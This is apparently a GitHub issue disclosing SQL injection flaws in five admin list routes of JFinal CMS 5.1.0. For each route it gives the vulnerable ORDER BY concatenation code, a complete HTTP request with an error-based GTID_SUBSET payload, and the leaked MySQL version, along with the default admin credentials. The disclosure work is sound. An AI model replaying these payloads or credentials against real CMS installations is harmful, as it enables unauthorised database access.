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# Some SQL injection vulnerabilities exists in JFinal CMS 5.1.0

## #52

[Open](#) So4ms opened this issue on Aug 9 · 0 comments

So4ms commented on Aug 9

Administrator login is required. The default account password is admin:admin123

### admin/videoalbum/list

There is a SQLI vul in background mode. The route is as following

Author: flyfox 2014-4-24

```
@ControllerBind(controllerKey = "/admin/videoalbum")
public class VideoalbumController extends BaseProjectController {

    4 usages
    private static final String path = "/pages/admin/videoalbum/videoalbum_";

    public void list() {
        TbVideoAlbum model = getModelByAttr(TbVideoAlbum.class);

        SQLUtils sql = new SQLUtils(" from tb_video_album t "
            + " left join tb_image_album f on f.id = t.parent_id where 1=1 ");
        if (model.getAttrValues().length != 0) {
            sql.setAlias("t");
            sql.whereLike( attrName: "name", model.getStr( attr: "name"));
            sql.whereEquals( attrName: "status", model.getInt( attr: "status"));
        }

        // 排序
        String orderBy = getBaseForm().getOrderBy();
        if (StrUtils.isEmpty(orderBy)) {
            sql.append(" order by t.sort,t.id desc");
        } else {
            sql.append(" order by t.").append(orderBy);
        }
    }
}
```

vulnerable argument passing is as following

```
BaseForm.java | ArticleController.java
55 public boolean isShowCondition() { return showCondition; }
56
57 public void setShowCondition(boolean showCondition) { this.showCondition = showCondition; }
58
60
61 public Paginator getPaginator() { return paginator; }
62
64
65 public void setPaginator(Paginator paginator) { this.paginator = paginator; }
66
68
69 public String getOrderBy() {
70     if (StrUtils.isEmpty(getOrderColumn())) {
71         return "";
72     }
73     return " " + getOrderColumn() + " " + getOrderAsc() + " ";
74 }
75
76 public String getOrderColumn() { return orderColumn; }
```

Successfully injected at route admin/videoalbum/list

```
1 POST /jfinal_cm/admin/videoalbum/list HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 79
6 Cookie: JSESSIONID=E35DBA47A9027664D0F102BD00900775;
  JSESSIONID=BE610C59A5945AA5CCB4D445CB4ECE9E;
  Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033588;
  Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033630;
  session_user=
  "wgPmpe3hEuJWIL+l+kHtxqag1wutWsMhm6eaAgoJH0c="
7
8 form.orderColumn= AND GTID_SUBSET (CONCAT (0x7e, (select
  version()), 0x7e), 1145) %23
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```

@ControllerBind(controllerKey = "/admin/video")
public class VideoController extends BaseProjectController {

    5 usages
    private static final String path = "/pages/admin/video/video_";

    public void list() {
        TbVideo model = getModelByAttr(TbVideo.class);

        SQLUtils sql = new SQLUtils(" from tb_video t where 1=1 ");
        if (model.getAttrValues().length != 0) {
            sql.setAlias("t");
            sql.whereEquals( attrName: "album_id", model.getAlbumId());
            sql.whereLike( attrName: "name", model.getStr( attr: "name"));
            sql.whereEquals( attrName: "status", model.getInt( attr: "status"));
        }

        // 排序
        String orderBy = getBaseForm().getOrderBy();
        if (StrUtils.isEmpty(orderBy)) {
            sql.append(" order by sort,id desc");
        } else {
            sql.append(" order by ").append(orderBy);
        }
    }
}

```

vulnerable argument passing is as following

```

BaseForm.java | ArticleController.java
53 public boolean isShowCondition() { return showCondition; }
56
57 public void setShowCondition(boolean showCondition) { this.showCondition = showCondition; }
60
61 public Paginator getPaginator() { return paginator; }
64
65 public void setPaginator(Paginator paginator) { this.paginator = paginator; }
68
69 public String getOrderBy() {
70     if (StrUtils.isEmpty(getOrderColumn())) {
71         return "";
72     }
73     return " " + getOrderColumn() + " " + getOrderAsc() + " ";
74 }
75
76 public String getOrderColumn() { return orderColumn; }

```

Successfully injected at route admin/video/list

```
1 POST /jfinal_cm/admin/video/list HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 80
6 Cookie: JSESSIONID=E35DBA47A9027664D0F102BD00900775;
  JSESSIONID=BE610C59A5945AA5CCB4D445CB4ECE9E;
  Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033588;
  Hm_lpvt_1040d081eea13b44d84a4af639640d51=1660033630;
  session_user=
  "wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
7
8 form.orderColumn=) AND GTID_SUBSET (CONCAT (0x7e, (select
  version()), 0x7e), 1145) %23
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```

@ControllerBind(controllerKey = "/system/department")
public class DepartmentController extends BaseController {

    4 usages
    private static final String path = "/pages/system/department/department_";

    public void index() { list(); }

    public void list() {
        SysDepartment model = getModelByAttr(SysDepartment.class);

        SQLUtils sql = new SQLUtils(" from sys_department t "
            + " left join sys_department p on t.parent_id = p.id where 1=1 ");
        if (model.getAttrValues().length != 0) {
            sql.setAlias("t");
            // 查询条件
            sql.whereLike( attrName: "name", model.getStr( attr: "name"));
        }

        // 排序
        String orderBy = getBaseForm().getOrderBy();
        if (StrUtils.isEmpty(orderBy)) {
            sql.append(" order by t.sort,t.id desc ");
        } else {
            sql.append(" order by ").append(orderBy);
        }
    }
}

```

vulnerable argument passing is as following

```

BaseForm.java | ArticleController.java
53 | public boolean isShowCondition() { return showCondition; }
56 |
57 | public void setShowCondition(boolean showCondition) { this.showCondition = showCondition; }
60 |
61 | public Paginator getPaginator() { return paginator; }
64 |
65 | public void setPaginator(Paginator paginator) { this.paginator = paginator; }
68 |
69 | public String getOrderBy() {
70 |     if (StrUtils.isEmpty(getOrderColumn())) {
71 |         return "";
72 |     }
73 |     return " " + getOrderColumn() + " " + getOrderAsc() + " ";
74 | }
75 |
76 | public String getOrderColumn() { return orderColumn; }

```

Successfully injected at route system/department/list

```
1 POST /jfinal_cms/system/department/list HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:103.0) Gecko/20100101 Firefox/103.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 80
6 Cookie: JSESSIONID=E35DBA47A9027664D0F102BD00900775;
JSESSIONID=BE610C59A5945AA5CCB4D445CB4ECE9E;
Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033588;
Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033630;
session_user=
"wgPmpe3hEuJWIL+l+kHtxqag1wutWsMhm6eaAgoJH0c="
7
8 form.orderColumn=) AND GTID_SUBSET (CONCAT (0x7e, (select
version()),0x7e),1145)%23
```

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45: Malformed GTID set specification '~5.7.26-log~'.
```

## system/menu/list

There is a SQLi vul in background mode.The route is as following

```

@ControllerBind(controllerKey = "/system/menu")
public class MenuController extends BaseController {

    4 usages
    private static final String path = "/pages/system/menu/menu_";
    3 usages
    MenuSvc svc = new MenuSvc();

    public void index() { list(); }

    public void list() {
        SysMenu model = getModelByAttr(SysMenu.class);

        SQLUtils sql = new SQLUtils(" from sys_menu t left join sys_menu d on d.id = t.parentid where 1=1 ");
        if (model.getAttrValues().length != 0) {
            sql.setAlias("t");
            // 查询条件
            sql.whereLike( attrName: "name", model.getStr( attr: "name"));
        }

        // 排序
        String orderBy = getBaseForm().getOrderBy();
        if (StrUtils.isEmpty(orderBy)) {
            sql.append(" order by t.sort,t.id desc");
        } else {
            sql.append(" order by t.").append(orderBy);
        }
    }
}

```

vulnerable argument passing is as following

```

BaseForm.java | ArticleController.java
53 | public boolean isShowCondition() { return showCondition; }
56 |
57 | public void setShowCondition(boolean showCondition) { this.showCondition = showCondition; }
60 |
61 | public Paginator getPaginator() { return paginator; }
64 |
65 | public void setPaginator(Paginator paginator) { this.paginator = paginator; }
68 |
69 | public String getOrderBy() {
70 |     if (StrUtils.isEmpty(getOrderColumn())) {
71 |         return "";
72 |     }
73 |     return " " + getOrderColumn() + " " + getOrderAsc() + " ";
74 | }
75 |
76 | public String getOrderColumn() { return orderColumn; }

```

Successfully injected at route system/menu/list

```
1 POST /jfinal_cms/system/menu/list HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
  rv:103.0) Gecko/20100101 Firefox/103.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 79
6 Cookie: JSESSIONID=E35DBA47A9027664D0F102BD00900775;
  JSESSIONID=BE610C59A5945AA5CCB4D445CB4ECE9E;
  Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033588;
  Hm_lpvt_1040d081eea13b44d84a4af639640d51=1660033630;
  session_user=
  "wgPmpe3hEuJWIL+l+kHtxqag1wutWsMhm6eaAgoJH0c="
7
8 form.orderColumn= AND GTID_SUBSET (CONCAT (0x7e, (select
  version()), 0x7e), 1145)%23
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## system/role/list

There is a SQLi vul in background mode.The route is as following



```

@ControllerBind(controllerKey = "/system/role")
public class RoleController extends BaseController {

    5 usages
    private static final String path = "/pages/system/role/role_";

    public void index() { list(); }

    public void list() {
        SysRole model = getModelByAttr(SysRole.class);

        SQLUtils sql = new SQLUtils(" from sys_role t where 1=1 ");
        if (model.getAttrValues().length != 0) {
            sql.setAlias("t");
            // 查询条件
            sql.whereLike( attrName: "name", model.getStr( attr: "name"));
        }

        // 排序
        String orderBy = getBaseForm().getOrderBy();
        if (StrUtils.isEmpty(orderBy)) {
            sql.append(" order by sort,id desc");
        } else {
            sql.append(" order by ").append(orderBy);
        }
    }
}

```

vulnerable argument passing is as following

```

BaseForm.java | ArticleController.java
53 | public boolean isShowCondition() { return showCondition; }
56 |
57 | public void setShowCondition(boolean showCondition) { this.showCondition = showCondition; }
60 |
61 | public Paginator getPaginator() { return paginator; }
64 |
65 | public void setPaginator(Paginator paginator) { this.paginator = paginator; }
68 |
69 | public String getOrderBy() {
70 |     if (StrUtils.isEmpty(getOrderColumn())) {
71 |         return "";
72 |     }
73 |     return " " + getOrderColumn() + " " + getOrderAsc() + " ";
74 | }
75 |
76 | public String getOrderColumn() { return orderColumn; }

```

Successfully injected at route system/role/list

```
1 POST /jfinal_cms/system/role/list HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:103.0) Gecko/20100101 Firefox/103.0
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 80
6 Cookie: JSESSIONID=E35DBA47A9027664D0F102BD00900775;
JSESSIONID=BE610C59A5945AA5CCB4D445CB4ECE9E;
Hm_lvt_1040d081eea13b44d84a4af639640d51=1660033588;
Hm_lpvt_1040d081eea13b44d84a4af639640d51=1660033630;
session_user=
"wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
7
8 form.orderColumn=) AND GTID_SUBSET (CONCAT (0x7e, (select
version()), 0x7e), 1145)%23
: Malformed GTID set specification '~5.7.26-log~'.
```

#### Assignees

No one assigned

#### Labels

None yet

#### Projects

None yet

#### Milestone

No milestone

#### Development

No branches or pull requests

1 participant

